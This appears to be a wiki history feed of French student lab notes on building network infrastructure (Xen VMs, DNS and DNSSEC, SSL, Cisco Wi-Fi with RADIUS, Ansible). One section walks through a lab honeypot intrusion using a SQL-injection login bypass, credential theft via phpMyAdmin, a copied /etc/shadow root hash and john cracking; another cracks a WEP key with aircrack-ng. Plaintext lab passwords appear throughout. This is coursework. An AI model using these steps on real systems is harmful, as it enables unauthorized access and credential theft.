 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54989</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54989"/>
				<updated>2020-12-18T19:17:54Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
